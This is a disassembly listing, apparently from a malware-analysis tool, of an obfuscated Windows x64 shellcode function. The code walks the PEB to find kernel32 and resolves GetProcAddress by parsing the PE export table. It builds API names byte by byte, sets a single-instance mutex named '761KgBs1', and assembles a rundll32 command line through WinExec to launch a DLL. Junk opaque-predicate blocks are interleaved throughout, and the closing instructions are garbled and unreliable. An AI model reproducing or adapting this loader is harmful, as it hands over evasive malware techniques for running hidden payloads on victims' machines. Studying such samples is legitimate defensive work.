Function at 0x171b28f00
Capabilities:
Authenticate hmac
Resolve function by parsing pe exports

Disassembly:
push r14
xor r14, rsp
push r11
xor r11, rsp
mov r14, r11
xor r11, r14
test r11, r11
jne 0x171b28ca9
mov r11, r14
xor r14, r11
test r14, r14
jne 0x171b28fc5
inc r14
test r14, r14
je 0x171b2917a
pop r11
pop r14
mov rcx, 1
mov rdx, 2
mov r8, 3
mov r9, 4
sub rsp, 0x20
push r14
xor r14, rsp
push r11
xor r11, rsp
mov r14, r11
xor r11, r14
test r11, r11
jne 0x171b29241
mov r11, r14
xor r14, r11
test r14, r14
jne 0x171b28e5b
inc r14
test r14, r14
je 0x171b28ca9
pop r11
pop r14
call 0x171b28ca9
add rsp, 0x20
mov r15, rax
mov r14, r8
jmp 0x171b28dd7
push rbp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 8
sub rsp, 0x20
mov rbx, rcx
xor rax, rax
mov rcx, rbp
sub rcx, rsp
mov rdi, rsp
rep stosb byte [rdi], al
mov rcx, rbx
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rdx
mov qword [rbp - 0x18], r8
mov qword [rbp - 0x20], r9
mov rbx, qword gs:[0x60]
mov rbx, qword [rbx + 0x18]
mov rbx, qword [rbx + 0x20]
mov r12, rbx
mov rax, qword [rbx + 0x40]
cmp byte [rax + 0x28], 0x4b
je 0x171b28d0a
cmp byte [rax + 0x28], 0x6b
je 0x171b28d0a
jmp 0x171b28d50
cmp byte [rax + 0x30], 0x45
je 0x171b28d18
cmp byte [rax + 0x30], 0x65
je 0x171b28d18
jmp 0x171b28d50
cmp byte [rax + 0x32], 0x4c
je 0x171b28d26
cmp byte [rax + 0x32], 0x6c
je 0x171b28d26
jmp 0x171b28d50
cmp byte [rax + 0x36], 0x32
je 0x171b28d2e
jmp 0x171b28d50
cmp byte [rax + 0x3c], 0x4c
je 0x171b28d3c
cmp byte [rax + 0x3c], 0x6c
je 0x171b28d3c
jmp 0x171b28d50
cmp byte [rax + 0x3e], 0x4c
je 0x171b28d4a
cmp byte [rax + 0x3c], 0x6c
je 0x171b28d4a
jmp 0x171b28d50
mov rbx, qword [rbx + 0x20]
jmp 0x171b28d58
mov rbx, qword [rbx]
cmp r12, rbx
jne 0x171b28cf8
mov r15, rbx
xor r8, r8
mov r8d, dword [rbx + 0x3c]
mov rdx, r8
add rdx, rbx
mov r8d, dword [rdx + 0x88]
add r8, rbx
xor rsi, rsi
mov esi, dword [r8 + 0x20]
add rsi, rbx
xor rcx, rcx
movabs r9, 0x41636f7250746546
inc r9
inc rcx
xor rax, rax
mov eax, dword [rsi + rcx*4]
add rax, rbx
cmp qword [rax], r9
jne 0x171b28d8c
xor rsi, rsi
mov esi, dword [r8 + 0x24]
add rsi, rbx
mov cx, word [rsi + rcx*2]
xor rsi, rsi
mov esi, dword [r8 + 0x1c]
add rsi, rbx
xor rdx, rdx
mov edx, dword [rsi + rcx*4]
add rdx, rbx
mov r14, rdx
mov rax, r15
mov r8, r14
mov rsp, rbp
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret
sub rsp, 0x100
lea rdi, [rsp + 0x10]
mov al, 0x43
mov byte [rdi], al
mov al, 0x72
mov byte [rdi + 1], al
mov al, 0x65
mov byte [rdi + 2], al
mov al, 0x61
mov byte [rdi + 3], al
mov al, 0x74
mov byte [rdi + 4], al
mov al, 0x65
mov byte [rdi + 5], al
push r14
xor r14, rsp
push r11
xor r11, rsp
mov r14, r11
xor r11, r14
test r11, r11
jne 0x171b28f63
mov r11, r14
xor r14, r11
test r14, r14
jne 0x171b28fc5
inc r14
test r14, r14
je 0x171b28fc5
pop r11
pop r14
mov al, 0x4d
mov byte [rdi + 6], al
mov al, 0x75
mov byte [rdi + 7], al
mov al, 0x74
mov byte [rdi + 8], al
mov al, 0x65
mov byte [rdi + 9], al
mov al, 0x78
mov byte [rdi + 0xa], al
mov al, 0x41
mov byte [rdi + 0xb], al
mov al, 0
mov byte [rdi + 0xc], al
mov rcx, r15
mov rdx, rdi
sub rsp, 0x20
call r14
add rsp, 0x20
add rsp, 0x100
mov r13, rax
sub rsp, 0x100
lea rdi, [rsp + 0x10]
mov al, 0x47
mov byte [rdi], al
mov al, 0x65
mov byte [rdi + 1], al
mov al, 0x74
mov byte [rdi + 2], al
mov al, 0x4c
mov byte [rdi + 3], al
push r14
xor r14, rsp
push r11
xor r11, rsp
mov r14, r11
mov esi, ebx
xor r11, r14
test r11, r11
jne 0x171b28c09
mov r11, r14
xor r14, r11
test r14, r14
jne 0x171b28e5b
inc r14
test r14, r14
je 0x171b2917a
pop r11
pop r14
mov al, 0x61
mov byte [rdi + 4], al
mov al, 0x73
mov byte [rdi + 5], al
mov al, 0x74
mov byte [rdi + 6], al
mov al, 0x45
mov byte [rdi + 7], al
mov al, 0x72
mov byte [rdi + 8], al
mov al, 0x72
mov byte [rdi + 9], al
mov al, 0x6f
mov byte [rdi + 0xa], al
mov al, 0x72
mov byte [rdi + 0xb], al
mov al, 0
mov byte [rdi + 0xc], al
mov rcx, r15
mov rdx, rdi
sub rsp, 0x20
call r14
add rsp, 0x20
add rsp, 0x100
mov r12, rax
sub rsp, 0x20
mov rdi, rsp
add rdi, 0x10
mov byte [rdi], 0x37
mov byte [rdi + 1], 0x36
push r14
xor r14, rsp
push r11
xor r11, rsp
mov r14, r11
xor r11, r14
test r11, r11
jne 0x171b290e0
mov r11, r14
xor r14, r11
test r14, r14
jne 0x171b2917a
inc r14
test r14, r14
je 0x171b290d0
pop r11
pop r14
mov byte [rdi + 2], 0x31
mov byte [rdi + 3], 0x4b
mov byte [rdi + 4], 0x67
mov byte [rdi + 5], 0x42
mov byte [rdi + 6], 0x73
mov byte [rdi + 7], 0x31
mov byte [rdi + 8], 0
mov rcx, 0
mov rdx, 0
mov r8, rdi
sub rsp, 0x20
call r13
add rsp, 0x20
add rsp, 0x20
sub rsp, 0x20
call r12
add rsp, 0x20
cmp rax, 0xb7
je 0x171b2917a
sub rsp, 0x80
lea rdi, [rsp + 0x10]
mov al, 0x57
mov byte [rdi], al
mov al, 0x69
mov byte [rdi + 1], al
mov al, 0x6e
mov byte [rdi + 2], al
mov al, 0x45
mov byte [rdi + 3], al
mov al, 0x78
push r14
xor r14, rsp
push r11
xor r11, rsp
mov r14, r11
xor r11, r14
test r11, r11
jne 0x171b28ca9
mov r11, r14
xor r14, r11
test r14, r14
jne 0x171b28e5b
inc r14
test r14, r14
je 0x171b29241
pop r11
pop r14
mov byte [rdi + 4], al
mov al, 0x65
mov byte [rdi + 5], al
mov al, 0x63
mov byte [rdi + 6], al
mov byte [rdi + 7], 0
mov rcx, r15
mov rdx, rdi
sub rsp, 0x20
call r14
add rsp, 0x20
mov r13, rax
add rsp, 0x80
sub rsp, 0x200
lea rsi, [entry0]
sub rsi, 0x10e
mov rdi, rsp
add rdi, 0x10
mov r10, rdi
mov al, 0x72
mov byte [rdi], al
inc rdi
mov al, 0x75
mov byte [rdi], al
inc rdi
mov al, 0x6e
mov byte [rdi], al
inc rdi
mov al, 0x64
mov byte [rdi], al
inc rdi
mov al, 0x6c
mov byte [rdi], al
inc rdi
mov al, 0x6c
mov byte [rdi], al
push r14
xor r14, rsp
push r11
xor r11, rsp
mov r14, r11
xor r11, r14
test r11, r11
jne 0x171b28e5b
mov r11, r14
xor r14, r11
test r14, r14
jne 0x171b29241
inc r14
test r14, r14
je 0x171b28e5b
pop r11
pop r14
inc rdi
mov al, 0x33
mov byte [rdi], al
inc rdi
mov al, 0x32
mov byte [rdi], al
inc rdi
mov al, 0x20
mov byte [rdi], al
inc rdi
mov al, 0x22
mov byte [rdi], al
inc rdi
mov al, byte [rsi]
cmp al, 0
je 0x171b290e0
mov byte [rdi], al
inc rsi
inc rdi
jmp 0x171b290d0
mov al, 0x2e
mov byte [rdi], al
inc rdi
mov al, 0x64
mov byte [rdi], al
inc rdi
mov al, 0x6c
mov byte [rdi], al
inc rdi
mov al, 0x6c
mov byte [rdi], al
inc rdi
mov al, 0x22
mov byte [rdi], al
inc rdi
mov al, 0x2c
mov byte [rdi], al
inc rdi
mov al, 0x20
mov byte [rdi + 2], al
mov al, 0x6d
mov byte [rdi + 3], al
mov al, 0x69
mov byte [rdi + 4], al
add al, 0xb0
outsb dx, byte [rsi]
mov byte [rdi + 5], al
mov al, 0x61
push r14
xor r14, rsp
push r11
xor r11, rsp
mov r14, r11
xor r11, r14
test r11, r11
jne 0x171b28fc5
mov r11, r14
xor r14, r11
test r14, r14
jne 0x171b28e5b
inc r14
test r14, r14
je 0x171b290d0
pop r11
pop r14
mov byte [rdi + 6], al
mov al, 0x74
mov byte [rdi + 7], al
mov al, 0x65
mov byte [rdi + 8], al
mov al, 0x50
mov byte [rdi + 9], al
mov al, 0x72
mov byte [rdi + 0xa], al
mov al, 0x6f
mov byte [rdi + 0xb], al
mov al, 0x63
mov byte [rdi + 0xc], al
mov al, 0x65
ror byte [rax - 0x75], 0x5c
and al, 0x30
add rsp, 0x20
pop rdi
ret